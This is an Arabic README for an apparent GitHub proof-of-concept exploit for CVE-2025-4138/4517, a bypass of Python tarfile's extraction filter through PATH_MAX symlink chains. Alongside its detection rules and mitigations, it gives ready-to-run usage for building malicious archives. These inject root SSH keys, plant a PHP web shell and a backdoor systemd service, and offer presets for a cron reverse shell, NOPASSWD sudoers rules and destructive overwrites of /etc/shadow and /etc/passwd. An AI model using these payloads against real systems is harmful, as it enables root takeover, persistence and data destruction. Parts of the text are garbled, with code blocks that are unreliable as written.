
CVE-2025-4138 / CVE-2025-4517 — تجاوز مرشح الروابط الرمزية PATH_MAX في Python tarfile
كتابة ملفات تعسفية عبر استخراج filter="data" / filter="tar"
ثغرة خطيرة في وحدة tarfile في Python تسمح للمهاجم بـ تجاوز مرشحات الاستخراج ("data" و "tar") وكتابة ملفات تعسفية خارج دليل الاستخراج المقصود. عندما تقوم عملية مميزة (مثل سكربت نسخ احتياطي بصلاحيات الجذر، أو خط أنابيب CI/CD، أو مثبّت حزم) باستخراج أرشيف tar يتحكم فيه المهاجم باستخدام المعامل الآمن المفترض filter="data"، يحقق هذا الاستغلال كتابة ملفات تعسفية كاملة بصلاحيات ذلك المستخدم المميز — وعادةً ما يؤدي إلى تصعيد الصلاحيات إلى الجذر.
السبب الجذري هو سلوك غريب في os.path.realpath(): إذ يتوقف بصمت عن حل الروابط الرمزية بمجرد أن يتجاوز المسار المُوسَّع بالكامل PATH_MAX (4096 بايت على لينكس، و1024 على macOS). يعتمد مرشح tarfile على realpath() للتحقق الأمني، لكن النواة تحل الروابط الرمزية بشكل مستقل أثناء الاستخراج — مما يخلق فجوة TOCTOU (وقت الفحص مقابل وقت الاستخدام) تتيح الهروب من الدليل.
┌───────────────────────────────────────────┐
│ Malicious Tar Structure │
└───────────────────────────────────────────┘
Stage 1 ── Build symlink chain that inflates the resolved path past PATH_MAX
ddd...ddd/ (directory, 247 chars)
a → ddd...ddd (symlink, 1 char name → 247 char dir)
ddd...ddd/ddd...ddd/ (nested directory)
b → ddd...ddd (symlink)
... ×16 levels
Short path (symlinks): a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p ~31 chars
Resolved path (dirs): ddd…/ddd…/ddd…/ddd…/ddd…/ddd…/… ~3968 chars
↑ nearing PATH_MAX
Stage 2 ── Final symlink exceeds PATH_MAX → realpath() stops resolving
a/b/c/…/p/lll…lll → ../../../../../../../../../../../../../../../../..
(16 levels of ".." — traverses back to extraction root)
┌─────────────────────────────────────────────────────────────────┐
│ os.path.realpath() CANNOT expand this → filter says "OK" ✓ │
│ Linux kernel DOES follow chain → actually escapes ✗ │
└─────────────────────────────────────────────────────────────────┘
Stage 3 ── Escape symlink resolves to arbitrary filesystem path
escape → <overflow_link>/../../../../../../../root
Stage 4 ── Create intermediate directories through the escape
escape/.ssh/ (directory, mode 0700 — created by tar extraction)
Stage 5 ── Write payload through the escaped symlink
escape/.ssh/authorized_keys → writes to /root/.ssh/authorized_keys 🔓
---
## الإصدارات المتأثرة
| فرع Python | النطاق المعرض للخطر | الإصدار المُصحَّح | الحالة |
|:--|:--|:--|:--|
| 3.13 | 3.13.0 – 3.13.3 | **3.13.4** | ✅ تم التصحيح |
| 3.12 | 3.12.0 – 3.12.10 | **3.12.11** | ✅ تم التصحيح |
| 3.11 | 3.11.4 – 3.11.12 | **3.11.13** | ✅ تم التصحيح |
| 3.10 | 3.10.12 – 3.10.17 | **3.10.18** | ✅ تم التصحيح |
| 3.9 | 3.9.17 – 3.9.22 | **3.9.23** | ✅ تم التصحيح |
| 3.8 | 3.8.17 – 3.8.20 | — | ❌ نهاية الدعم |
| 3.14+ | تم تغيير الفلتر الافتراضي إلى `"data"` | تحقق من الأحدث | ⚠️ تعرض أعلى |
> **ملاحظة:** غيّرت Python 3.14+ المعامل الافتراضي `filter` من عدم التصفية إلى `"data"`، مما يعني أن التطبيقات التي لم يكن لديها فلتر سابقًا (وبالتالي كانت غير آمنة بالفعل) تستخدم الآن الفلتر المعرض للخطر افتراضيًا.
---
## نمط الكود المتأثر
أي تطبيق يفعل ذلك على إصدار Python معرض للخطر يكون قابلاً للاستغلال:```python
import tarfile
# VULNERABLE — filter="data" can be bypassed
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data")
# ALSO VULNERABLE — filter="tar" has the same flaw
with tarfile.open("untrusted_archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="tar")
حالات شائعة في العالم الحقيقي:
.targit clone https://github.com/DesertDemons/CVE-2025-4138-4517-POC.git cd CVE-2025-4138-4517-POC
python3 exploit.py --help
**المتطلبات:** Python 3.6+ (لإنشاء الأرشيف — يجب أن يعمل **الهدف** على إصدار قابل للاستغلال)
---
## الاستخدام
### بدء سريع — حقن مفتاح SSH```bash
# 1. Generate an SSH key pair (REQUIRED — must exist before creating tar)
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""
cat ~/.ssh/id_ed25519.pub # verify key was created
# 2. Create the malicious tar archive
python3 exploit.py \
--preset ssh-key \
--payload ~/.ssh/id_ed25519.pub \
--tar-out ./evil.tar
# 3. Deliver the tar and trigger privileged extraction
# (method varies — backup script, upload endpoint, CI pipeline, etc.)
# Example: sudo python3 vulnerable_app.py --extract evil.tar
# 4. SSH in as root (use the SAME key you generated in step 1)
ssh -i ~/.ssh/id_ed25519 root@target
مهم: يقوم الاستغلال تلقائيًا بإنشاء الدلائل الوسيطة (مثل
/root/.ssh/) داخل أرشيف tar. إذا لم يكن الدليل الهدف موجودًا على نظام الملفات، فسيقومextractall()بإنشائه أثناء الاستخراج.
python3 exploit.py --preset cron --extra 10.0.0.5 --tar-out evil.tar
python3 exploit.py --preset sudoers --extra john --tar-out evil.tar
python3 exploit.py --preset ssh-key --payload ~/.ssh/id_rsa.pub
--mode 0600 --tar-out evil.tar
### هدف مخصص
اكتب أي محتوى إلى أي مسار مطلق على نظام الملفات الهدف:```bash
# Overwrite MOTD
python3 exploit.py \
--target /etc/motd \
--payload "Authorized access only." \
--mode 0644 \
--tar-out evil.tar
# Plant a web shell
python3 exploit.py \
--target /var/www/html/shell.php \
--payload '<?php system($_GET["cmd"]); ?>' \
--mode 0644 \
--tar-out evil.tar
# Overwrite a systemd service for persistence
python3 exploit.py \
--target /etc/systemd/system/backdoor.service \
--payload backdoor.service \
--mode 0644 \
--tar-out evil.tar
اختبر ما إذا كان النظام معرضًا للخطر دون لمس الملفات الحساسة:```bash
mkdir -p /tmp/cve_test/flag /tmp/cve_test/extract echo "original_content" > /tmp/cve_test/flag/testfile
python3 exploit.py
--target /tmp/cve_test/flag/testfile
--payload "OVERWRITTEN_BY_CVE-2025-4138"
--tar-out /tmp/cve_test/poc.tar
python3 -c " import tarfile tarfile.open('/tmp/cve_test/poc.tar', 'r').extractall( '/tmp/cve_test/extract', filter='data' ) "
cat /tmp/cve_test/flag/testfile
rm -rf /tmp/cve_test
### تحقق سريع من الإصدار```bash
python3 -c "
import sys
v = sys.version_info
vuln = (
(v.minor == 12 and v.micro <= 10) or
(v.minor == 13 and v.micro <= 3) or
(v.minor == 11 and 4 <= v.micro <= 12) or
(v.minor == 10 and 12 <= v.micro <= 17) or
(v.minor == 9 and 17 <= v.micro <= 22)
)
status = '❌ VULNERABLE' if vuln else '✅ Patched/Not affected'
print(f'Python {sys.version} — {status}')
"
os.path.realpath()على لينكس، يُعرَّف PATH_MAX بأنه 4096 بايت. وعلى macOS، يكون 1024 بايت. عندما يحل os.path.realpath() مسارًا مكوّنًا بعد مكوّن، ويتجاوز المسار المُحلَّل المتراكم هذا الحد، فإنه يتوقف بصمت عن حل المكوّنات المتبقية ويُلحقها كسلاسل حرفية.```
os.path.realpath() behavior:
Input: /extract/a/b/c/.../p/llll.../../../../../root/.ssh │ ├── resolved portion: /extract/ddd.../ddd.../... (3968+ bytes) └── unresolved tail: /../../../../root/.ssh ↑ appended literally!
Output: /extract/ddd.../ddd.../ddd.../../../../../root/.ssh │ │ └── Starts with /extract/ → filter says "OK" ✓ │ └── But the ../ is real!
هذا سلوك **موثّق** لدالة `realpath()`، لكن تطبيق مرشّح tarfile لم يراعِ ذلك.
### إنشاء سلسلة الروابط الرمزية
يتكون كل مستوى من السلسلة من:
| الإدخال | النوع | طول الاسم | الغرض |
|:--|:--|:--|:--|
| دليل | `DIRTYPE` | 247 حرفًا (Linux) / 55 حرفًا (macOS) | الاسم الطويل يضخّم المسار المُحَلَّل |
| رابط رمزي | `SYMTYPE` | حرف واحد (`a`, `b`, …, `p`) | اسم قصير بديل للدليل الطويل |
بعد 16 مستوىً:
| المقياس | القيمة |
|:--|:--|
| **المسار القصير** (عبر الروابط الرمزية) | `a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p` ≈ 31 حرفًا |
| **المسار المُحَلَّل** (عبر الأدلة) | `ddd…/ddd…/ddd…/…` ≈ **3968 حرفًا** |
| **PATH_MAX** | 4096 بايت |
| **الميزانية المتبقية** | ~128 بايت — لا تكفي لحمولة الاجتياز |
### آلية تجاوز المرشّح
يقوم `data_filter` في وحدة tarfile في Python بتنفيذ هذا الفحص:```python
# Simplified from Lib/tarfile.py
def _check_linkname(member, dest_path):
target = os.path.realpath(os.path.join(dest_path, member.linkname))
if not target.startswith(dest_path):
raise FilterError("link would escape destination")
الثغرة:
realpath() يستقبل: /extract/a/b/c/.../p/lll.../../../../../root/.sshrealpath() يُحلِّل الجزء a/b/c/.../p عبر سلسلة الروابط الرمزية → 3968+ بايت../../../../root/.ssh حرفيًا/extract/ddd…(3968 chars)…/../../../../root/.ssh/extract/ → يجتاز ✓../ بشكل طبيعي → يهرب إلى /rootescape/.ssh كدليل → ينشئ /root/.ssh/ (الوضع 0700)┌────────────────────────────────────────────────────────────────────────┐ │ EXPLOIT PIPELINE │ ├────────────────────────────────────────────────────────────────────────┤ │ │ │ Stage 1: PATH_MAX Inflation │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ dir(247) │──▶│ sym a→d │──▶ ... │ sym p→d │ ×16 levels │ │ └─────────┘ └─────────┘ └─────────┘ │ │ Resolved path accumulates to ~3968 bytes │ │ │ │ Stage 2: Pivot Symlink (exceeds PATH_MAX) │ │ ┌──────────────────────────────────────────┐ │ │ │ a/b/c/.../p/lll...lll → ../../... (×16) │ │ │ └──────────────────────────────────────────┘ │ │ realpath() cannot resolve → filter is blind │ │ │ │ Stage 3: Escape Symlink │ │ ┌──────────────────────────────────────────┐ │ │ │ escape → /../../../../<target_root>│ │ │ └──────────────────────────────────────────┘ │ │ Points to the target's top-level parent (e.g. /root) │ │ │ │ Stage 4: Create Intermediate Directories │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh (DIRTYPE, mode 0700) │ │ │ └──────────────────────────────────────────┘ │ │ Ensures parent dirs exist (e.g. /root/.ssh) — critical │ │ for targets where the parent directory may not exist │ │ │ │ Stage 5: Payload Write │ │ ┌──────────────────────────────────────────┐ │ │ │ escape/.ssh/authorized_keys = payload │ │ │ └──────────────────────────────────────────┘ │ │ File is written through the escaped symlink as the │ │ process owner (typically root) │ │ │ └────────────────────────────────────────────────────────────────────────┘
---
## سيناريوهات هجوم واقعية
### 1. استعادة النسخ الاحتياطي بصلاحيات مرتفعة
يقوم سكربت نسخ احتياطي يعمل بصلاحيات root باستخراج أرشيفات tar يقدمها المستخدم:```python
# /usr/local/bin/restore_backup.py (runs via sudo)
tar.extractall(path="/var/backups/restored", filter="data")
التأثير: يقدّم المهاجم نسخة احتياطية خبيثة → يكتب مفتاح SSH إلى /root/.ssh/authorized_keys → يحصل على شل جذر.
يستخرج نظام البناء القطع الأثرية من مصادر غير موثوقة:```python
tar.extractall(path=workspace_dir, filter="data")
**الأثر:** يهرب الأثر الخبيث من مساحة العمل ← يكتب فوق إعدادات CI ← يحقق تنفيذ الكود على البنية التحتية للبناء.
### 3. معالجة رفع تطبيق الويب
يقبل تطبيق الويب رفع ملفات tar ويستخرجها:```python
# Flask/Django file processing endpoint
tar.extractall(path=upload_dir, filter="data")
التأثير: مهاجم عن بُعد يرفع ملف tar مُعدًّا → يكتب قشرة ويب في جذر المستندات → يحقق تنفيذًا عن بُعد للتعليمات البرمجية (RCE).
مديرو حزم Python عند استخراج التوزيعات المصدرية:```python
tar.extractall(path=build_dir, filter="data")
**التأثير:** حزمة PyPI خبيثة تهرب من دليل البناء → تعدّل ملفات النظام.
---
## الاكتشاف
### مؤشرات الاختراق
راقب هذه الأنماط التي قد تشير إلى الاستغلال:```bash
# Check for deeply nested symlink chains in extracted directories
find /path/to/extractions -maxdepth 20 -type l | \
xargs -I{} readlink {} | grep -c "^d\{200,\}"
# Audit tar extraction operations in application logs
grep -r "extractall\|filter=\"data\"\|filter=\"tar\"" /var/log/
# Monitor for unexpected file writes in sensitive directories
auditctl -w /root/.ssh/ -p wa -k tarfile_escape
auditctl -w /etc/cron.d/ -p wa -k tarfile_escape
auditctl -w /etc/sudoers.d/ -p wa -k tarfile_escape
rule CVE_2025_4138_Malicious_Tar { meta: description = "Detects tar archives crafted for CVE-2025-4138 PATH_MAX bypass" cve = "CVE-2025-4138" severity = "critical" strings: $long_dir = /d{240,250}// ascii $chain = /[a-p]/[a-p]/[a-p]/[a-p]/ ascii $pad = /l{250,}/ ascii $traversal = "../../../" ascii condition: uint16(0) == 0x0000 and $long_dir and $chain and ($pad or #traversal > 8) }
---
## التخفيف
### 1. ترقية Python (موصى به)```bash
# Check current version
python3 -c "import sys; print(sys.version)"
# Upgrade to patched version:
# 3.9.23+ | 3.10.18+ | 3.11.13+ | 3.12.11+ | 3.13.4+
إذا لم تكن الترقية الفورية ممكنة:```python import pathlib import tarfile
def safe_extract(tar_path: str, dest: str) -> None: """Extract tar archive with CVE-2025-4138 mitigation.""" with tarfile.open(tar_path, "r") as tar: for member in tar.getmembers(): # Block symlinks with traversal in link targets if member.linkname: parts = pathlib.PurePosixPath(member.linkname).parts if ".." in parts: raise ValueError( f"Blocked: '{member.name}' has traversal " f"in linkname: '{member.linkname}'" ) # Block absolute symlink targets if member.issym() and member.linkname.startswith("/"): raise ValueError( f"Blocked: '{member.name}' has absolute " f"symlink target: '{member.linkname}'" ) # Re-open to reset iterator tar.extractall(path=dest, filter="data")
### 3. الاستخراج في بيئة معزولة```bash
# Extract in a minimal container or namespace
unshare --mount --map-root-user -- sh -c '
mount -t tmpfs tmpfs /mnt
python3 -c "
import tarfile
tarfile.open(\"archive.tar\", \"r\").extractall(\"/mnt/extract\", filter=\"data\")
"
'
tar --no-same-permissions --no-same-owner -xf archive.tar -C /dest/
---
## CVEs ذات الصلة
| CVE | الوصف | درجة الخطورة |
|:--|:--|:--|
| **CVE-2025-4138** | تجاوز مرشح هدف الرابط الرمزي عبر تجاوز PATH_MAX | حرجة |
| **CVE-2025-4517** | كتابة ملفات عشوائية عبر تجاوز realpath (نفس السبب الجذري) | حرجة |
| **CVE-2025-4330** | عبور مسار عبر الروابط الرمزية متجاوزًا مرشحات الاستخراج | عالية |
| **CVE-2024-12718** | تعديل بيانات وصفية للملفات خارج مجلد الاستخراج | عالية |
| **CVE-2025-4435** | الملفات المفلترة ما تزال تُستخرج عند `errorlevel=0` | متوسطة |
| **CVE-2007-4559** | عبور المسار الأصلي في tarfile (حقبة ما قبل المرشحات) | عالية |
تمت معالجة جميعها في [CPython Issue #135034](https://github.com/python/cpython/issues/135034) و[PR #135037](https://github.com/python/cpython/pull/135037).
---
## الجدول الزمني
| التاريخ | الحدث |
|:--|:--|
| 2025-04-30 | تم الإبلاغ عن الثغرة إلى فريق الاستجابة الأمنية في Python |
| 2025-06-02 | تم فتح قضية عامة — [CPython #135034](https://github.com/python/cpython/issues/135034) |
| 2025-06-03 | تم دمج الإصلاح — [CPython PR #135037](https://github.com/python/cpython/pull/135037) |
| 2025-06-03 | تم نشر [إعلان أمان PSF](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) |
| 2025-06-03 | إصدارات مُصحّحة: Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| 2025-06-04 | نشرة CERT-FR [CERTFR-2025-AVI-0475](https://www.cert.ssi.gouv.fr/) |
| 2025-06-20 | نشرة Google Security Research [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) |
| 2025-07-20 | الكشف الكامل |
---
## المراجع
- [GHSA-hgqp-3mmf-7h8f](https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f) — نشرة Google Security Research والبرهان الأصلي للمفهوم (PoC)
- [CPython Issue #135034](https://github.com/python/cpython/issues/135034) — تقرير الخطأ الرئيسي (Upstream)
- [CPython PR #135037](https://github.com/python/cpython/pull/135037) — كوميت الإصلاح
- [إعلان أمان PSF](https://mail.python.org/archives/list/[email protected]/thread/MAXIJJCUUMCL7ATZNDVEGGHUMQMUUKLG/) — النشرة الرسمية
- [Gist التخفيف الذي أعده Seth Larson](https://gist.github.com/sethmlarson/52398e33eff261329a0180ac1d54f42f) — نص برمجي سريع للتخفيف
- [NVD — CVE-2025-4138](https://nvd.nist.gov/vuln/detail/CVE-2025-4138)
- [NVD — CVE-2025-4517](https://nvd.nist.gov/vuln/detail/CVE-2025-4517)
- [توثيق مرشحات الاستخراج في Python `tarfile`](https://docs.python.org/3/library/tarfile.html#tarfile-extraction-filter)
- [صفحة الدليل Linux `realpath(3)`](https://man7.org/linux/man-pages/man3/realpath.3.html) — سلوك PATH_MAX
---
## الإشادات
- **اكتشاف الثغرة:** [Caleb Brown](https://github.com/calebbrown) — Google Security Research
- **مؤلّفو التصحيح:** Łukasz Langa, Petr Viktorin, Seth Michael Larson, Serhiy Storchaka
- **هذا البرهان (PoC):** [DesertDemon](https://github.com/DesertDemons)
---
## إخلاء المسؤولية
> **⚠️ هذه الأداة مخصصة حصريًا لاختبار الأمان المصرح به والأغراض البحثية والتعليمية.**
>
> الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، وقانون إساءة استخدام الحاسوب، والتشريعات المماثلة في جميع أنحاء العالم. احصل دائمًا على إذن كتابي صريح قبل اختبار أي نظام لا تملكه.
>
> لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج. باستخدامك لهذه الأداة، فإنك توافق على أنك المسؤول الوحيد عن أفعالك وأنك ستلتزم بجميع القوانين المعمول بها.
---
**الوسوم:** `cve-2025-4138` `cve-2025-4517` `python` `tarfile` `path-traversal` `symlink` `privilege-escalation` `arbitrary-file-write` `toctou` `cwe-22` `linux` `macos`
## الترخيص
هذا المشروع مرخّص بموجب [رخصة MIT](https://github.com/desertdemons/cve-2025-4138-4517-poc/blob/HEAD/LICENSE).
---
<p align="center">
<sub>
🔐 إذا وجدت هذا مفيدًا، فكّر في وضع نجمة على المستودع<br>
📫 للاستفسارات المتعلقة بالكشف المسؤول، افتح قضية أو تواصل عبر GitHub
</sub>
</p>
| الحقل | القيمة |
|---|
| معرّفات CVE | CVE-2025-4138، CVE-2025-4517 |
| CVSS v3.1 | 9.4 (حرجة) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
| CWE | CWE-22 — تقييد غير سليم لاسم المسار داخل دليل مقيد |
| نوع الثغرة | تجاوز المسار عبر الروابط الرمزية / تجاوز المرشح |
| التأثير | كتابة ملفات تعسفية → تصعيد الصلاحيات، الهروب من صندوق الحماية، العبث بالبيانات |
| متجه الهجوم | تسليم أرشيف tar خبيث إلى أي تطبيق يستخدم tarfile.extractall() مع المرشحات |
| الإصدارات المتأثرة | Python 3.12.0 – 3.12.10, 3.13.0 – 3.13.3 |
| تم الإصلاح في | Python 3.9.23, 3.10.18, 3.11.13, 3.12.11, 3.13.4 |
| التصحيح | CPython PR #135037 |
| الإشعار الأمني | GHSA-hgqp-3mmf-7h8f |
| المُبلِّغ | Caleb Brown — Google Security Research |
| الإعداد المسبق | الملف الهدف | الوصف | معامل --extra |
|---|
ssh-key | /root/.ssh/authorized_keys | حقن مفتاح SSH العام لتسجيل دخول الجذر | — |
cron | /etc/cron.d/pwned | إسقاط مهمة cron لقشرة عكسية بصلاحيات الجذر | عنوان IP الخاص بـ LHOST |
sudoers | /etc/sudoers.d/pwned | إضافة قاعدة sudo من نوع NOPASSWD لمستخدم | اسم المستخدم |
shadow | /etc/shadow | الكتابة فوق ملف shadow (⚠️ تدميري) | — |
passwd | /etc/passwd | الكتابة فوق ملف passwd (⚠️ تدميري) | — |
escape/.ssh/authorized_keys/root/.ssh/authorized_keys